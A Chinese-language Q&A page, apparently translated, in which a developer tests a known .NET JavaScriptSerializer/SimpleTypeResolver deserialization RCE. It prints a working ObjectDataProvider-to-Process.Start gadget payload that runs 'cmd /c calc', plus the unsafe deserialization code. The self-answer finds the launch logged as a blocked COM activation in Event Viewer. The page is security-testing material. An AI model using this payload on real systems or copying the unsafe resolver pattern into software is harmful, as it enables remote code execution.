如何验证使用 JSON 和带有 SimpleTypeResolver 的 JavascriptSerializer 的 RCE 攻击是否确实在 .Net Framework 4.8 中有效

问题描述 投票:0回答:1

当尝试使用 JavaScriptSerializer 的不安全配置和 SimpleTypeResolver 重新创建 RCE 攻击时,我没有看到我所谓的恶意负载的任何实际效果。我发现了一个有效负载,据说可以通过PresentationFramework 中提供的一些小工具使用shell 来运行计算器。最初我没有任何对PresentationFramework的引用,但后来通过确保使用System.Windows.Data的声明来解决这个问题。

使用以下代码:

JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());


            string maliciousPayload = @"{
                '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'ObjectInstance':{
                    '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    'StartInfo': {
                        '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                        'FileName':'cmd',
                        'Arguments':'/c calc'
                    }
                }
            }";
            js.Deserialize(maliciousPayload, typeof(ObjectDataProvider));

我希望计算器应用程序在 js.Deserialize 运行时启动,但没有发生这样的事情。它就像往常一样过去了。

security json-deserialization .net-4.8 javascriptserializer rce
1个回答
0
投票

在经历了一个尤里卡时刻之后,令人尴尬的是,花了很长时间才显现出来。我意识到我未能检查系统日志中是否有任何感兴趣的内容。这样做时我发现启动计算器的尝试被记录为警告事件。我在事件查看器>自定义视图>管理事件

下找到了它
The application-specific permission settings do not grant Local Activation
permission for the COM Server application with CLSID 

{(...)}

and APPID 

{(...)}

to the user IIS APPPOOL\DefaultAppPool SID ((...)) from address LocalHost
(Using LRPC) running in the application container Unavailable SID
(Unavailable). This security permission can be modified using the Component
Services administrative tool.

隐私相关字段已替换为 (...)

这意味着攻击实际上确实对系统产生了影响。留在这里希望可以帮助以后遇到类似问题的人。

© www.soinside.com 2019 - 2024. All rights reserved.